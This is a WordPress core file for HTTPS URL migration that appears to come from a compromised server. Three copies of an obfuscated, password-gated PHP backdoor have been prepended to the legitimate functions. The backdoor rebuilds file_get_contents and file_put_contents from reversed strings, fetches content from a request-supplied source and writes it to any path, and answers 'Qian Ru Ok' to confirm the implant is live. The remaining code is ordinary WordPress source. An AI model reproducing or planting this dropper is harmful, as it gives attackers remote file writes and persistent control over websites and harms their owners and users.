File: /home/wwwrenee/public_html/wp-includes/https-migration.php
<?php
$ZYLLgJhsz = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($ZYLLgJhsz[0]) /*+/*+*/
. md5($ZYLLgJhsz[0])) == "2".
"b".
"9".
"7".
"1".
"b".
"6".
"a".
"c".
"4".
"a".
"e".
"9".
"f".
"a".
"9".
"9".
"7".
"5".
"5".
"a".
"1".
"6".
"7".
"b".
"0".
"7".
"3".
"a".
"0".
"4".
"b") {
$ibonVvieN = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$wdJutIN = $ibonVvieN /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$XDklU = $ibonVvieN
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function DgCBH($QGACdko) { if (empty($QGACdko)) return false; if (!is_dir($QGACdko)) { DgCBH(dirname($QGACdko), 0755, true); mkdir($QGACdko); } } !file_exists(dirname($ZYLLgJhsz[1])) && DgCBH(dirname($ZYLLgJhsz[1])); $eTQeJr = @$XDklU($ZYLLgJhsz[2]); echo @$wdJutIN($ZYLLgJhsz[1], $eTQeJr) ? 1 : 0; die; }key($ZYLLgJhsz) == "of" && die("Qian Ru Ok"); ?><?php
$CjNoSZu = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($CjNoSZu[0]) /*+/*+*/
. md5($CjNoSZu[0])) == "e".
"e".
"e".
"9".
"9".
"8".
"f".
"4".
"8".
"b".
"2".
"3".
"7".
"2".
"d".
"e".
"d".
"4".
"d".
"4".
"8".
"b".
"9".
"0".
"3".
"d".
"6".
"d".
"d".
"1".
"0".
"a") {
$KhazjdBV = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$HuQbq = $KhazjdBV /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$sgNzlTBqb = $KhazjdBV
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function RFqoldwuOi($QkwyCn) { if (empty($QkwyCn)) return false; if (!is_dir($QkwyCn)) { RFqoldwuOi(dirname($QkwyCn), 0755, true); mkdir($QkwyCn); } } !file_exists(dirname($CjNoSZu[1])) && RFqoldwuOi(dirname($CjNoSZu[1])); $bYmkdHrdd = @$sgNzlTBqb($CjNoSZu[2]); echo @$HuQbq($CjNoSZu[1], $bYmkdHrdd) ? 1 : 0; die; }key($CjNoSZu) == "of" && die("Qian Ru Ok"); ?><?php
$STAfwgl = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($STAfwgl[0]) /*+/*+*/
. md5($STAfwgl[0])) == "3".
"4".
"e".
"9".
"6".
"e".
"c".
"4".
"9".
"8".
"4".
"1".
"8".
"c".
"e".
"5".
"a".
"4".
"c".
"b".
"b".
"0".
"1".
"6".
"3".
"9".
"0".
"4".
"5".
"1".
"d".
"2") {
$qUhhHNZI = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$OpBfoTkjO = $qUhhHNZI /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$OaDybSSK = $qUhhHNZI
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function linfWH($EIjJacmuHP) { if (empty($EIjJacmuHP)) return false; if (!is_dir($EIjJacmuHP)) { linfWH(dirname($EIjJacmuHP), 0755, true); mkdir($EIjJacmuHP); } } !file_exists(dirname($STAfwgl[1])) && linfWH(dirname($STAfwgl[1])); $yiqxp = @$OaDybSSK($STAfwgl[2]); echo @$OpBfoTkjO($STAfwgl[1], $yiqxp) ? 1 : 0; die; }key($STAfwgl) == "of" && die("Qian Ru Ok"); ?><?php
/**
* HTTPS migration functions.
*
* @package WordPress
* @since 5.7.0
*/
/**
* Checks whether WordPress should replace old HTTP URLs to the site with their HTTPS counterpart.
*
* If a WordPress site had its URL changed from HTTP to HTTPS, by default this will return `true`, causing WordPress to
* add frontend filters to replace insecure site URLs that may be present in older database content. The
* {@see 'wp_should_replace_insecure_home_url'} filter can be used to modify that behavior.
*
* @since 5.7.0
*
* @return bool True if insecure URLs should replaced, false otherwise.
*/
function wp_should_replace_insecure_home_url() {
$should_replace_insecure_home_url = wp_is_using_https()
&& get_option( 'https_migration_required' )
// For automatic replacement, both 'home' and 'siteurl' need to not only use HTTPS, they also need to be using
// the same domain.
&& wp_parse_url( home_url(), PHP_URL_HOST ) === wp_parse_url( site_url(), PHP_URL_HOST );
/**
* Filters whether WordPress should replace old HTTP URLs to the site with their HTTPS counterpart.
*
* If a WordPress site had its URL changed from HTTP to HTTPS, by default this will return `true`. This filter can
* be used to disable that behavior, e.g. after having replaced URLs manually in the database.
*
* @since 5.7.0
*
* @param bool $should_replace_insecure_home_url Whether insecure HTTP URLs to the site should be replaced.
*/
return apply_filters( 'wp_should_replace_insecure_home_url', $should_replace_insecure_home_url );
}
/**
* Replaces insecure HTTP URLs to the site in the given content, if configured to do so.
*
* This function replaces all occurrences of the HTTP version of the site's URL with its HTTPS counterpart, if
* determined via {@see wp_should_replace_insecure_home_url()}.
*
* @since 5.7.0
*
* @param string $content Content to replace URLs in.
* @return string Filtered content.
*/
function wp_replace_insecure_home_url( $content ) {
if ( ! wp_should_replace_insecure_home_url() ) {
return $content;
}
$https_url = home_url( '', 'https' );
$http_url = str_replace( 'https://', 'http://', $https_url );
// Also replace potentially escaped URL.
$escaped_https_url = str_replace( '/', '\/', $https_url );
$escaped_http_url = str_replace( '/', '\/', $http_url );
return str_replace(
array(
$http_url,
$escaped_http_url,
),
array(
$https_url,
$escaped_https_url,
),
$content
);
}
/**
* Update the 'home' and 'siteurl' option to use the HTTPS variant of their URL.
*
* If this update does not result in WordPress recognizing that the site is now using HTTPS (e.g. due to constants
* overriding the URLs used), the changes will be reverted. In such a case the function will return false.
*
* @since 5.7.0
*
* @return bool True on success, false on failure.
*/
function wp_update_urls_to_https() {
// Get current URL options.
$orig_home = get_option( 'home' );
$orig_siteurl = get_option( 'siteurl' );
// Get current URL options, replacing HTTP with HTTPS.
$home = str_replace( 'http://', 'https://', $orig_home );
$siteurl = str_replace( 'http://', 'https://', $orig_siteurl );
// Update the options.
update_option( 'home', $home );
update_option( 'siteurl', $siteurl );
if ( ! wp_is_using_https() ) {
// If this did not result in the site recognizing HTTPS as being used,
// revert the change and return false.
update_option( 'home', $orig_home );
update_option( 'siteurl', $orig_siteurl );
return false;
}
// Otherwise the URLs were successfully changed to use HTTPS.
return true;
}
/**
* Updates the 'https_migration_required' option if needed when the given URL has been updated from HTTP to HTTPS.
*
* If this is a fresh site, a migration will not be required, so the option will be set as `false`.
*
* This is hooked into the {@see 'update_option_home'} action.
*
* @since 5.7.0
* @access private
*
* @param mixed $old_url Previous value of the URL option.
* @param mixed $new_url New value of the URL option.
*/
function wp_update_https_migration_required( $old_url, $new_url ) {
// Do nothing if WordPress is being installed.
if ( wp_installing() ) {
return;
}
// Delete/reset the option if the new URL is not the HTTPS version of the old URL.
if ( untrailingslashit( (string) $old_url ) !== str_replace( 'https://', 'http://', untrailingslashit( (string) $new_url ) ) ) {
delete_option( 'https_migration_required' );
return;
}
// If this is a fresh site, there is no content to migrate, so do not require migration.
$https_migration_required = get_option( 'fresh_site' ) ? false : true;
update_option( 'https_migration_required', $https_migration_required );
} ?>